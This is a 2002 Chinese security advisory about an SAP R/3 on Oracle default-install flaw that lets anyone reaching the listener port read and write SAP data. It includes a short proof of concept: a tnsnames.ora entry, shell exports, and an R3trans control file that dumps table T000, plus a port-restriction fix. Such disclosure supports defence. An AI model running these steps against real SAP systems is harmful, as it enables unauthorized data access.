xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Oracle SAP R/3默认安装存在数据可读漏洞


发布时间:2002-04-30
更新时间:2002-04-30
严重程度:
威胁程度:读取受限文件
错误类型:设计错误
利用方式:服务器模式

受影响系统
All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10)
详细描述
任意用户可以访问ORACLE 数据库主机的LISTENER端口可以修改/读/写任意SAP数据,攻击者如果获得数据库主机的IP地址和SYSTEM ID,需要使用包嗅探程序,社会工程学,和针对SAP R/3运行sapinfo程序。

根据获得的信息攻击这可以建立本地用户sidadm,构建tnsnames.ora和R3trans运行的环境和运行任意命令。

测试代码
SID.world =
  (DESCRIPTION =
    (ADDRESS_LIST =
        (ADDRESS =
          (COMMUNITY = sap.world)
          (PROTOCOL = TCP)
          (Host = hostname)
          (Port = 1527)
        )
    )
    (CONNECT_DATA =
       (SID = SID)
       (GLOBAL_NAME = SID.world)
    )
  )


  
sidadm> export TNS_ADMIN=$HOME/
sidadm> export ORACLE_HOME=/oracle/SID
sidadm> export ORACLE_SID=SID
sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
sidadm> export dbs_ora_tnsname=SID
sidadm> export TNS_ADMIN=/home/sidadm
sidadm> cat control
export
compress=no
client=000
# select table where name = T000
select * from t000
sidadm> R3trans control
...
sidadm> strings trans.dat
...
q 000SAP AG Walldorf DEM [...]
q 001Auslieferungsmandant R11 Kundstadt EUR [...]

解决方案
限制端口访问或者使用如下protocol.ora选项配置:

tcp.nodelay = true
tcp.validnode_checking = yes
tcp.invited_nodes = ( hostname, hostname )

相关信息
Jochen Hein (jochen@jochen.org)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-04/0387.html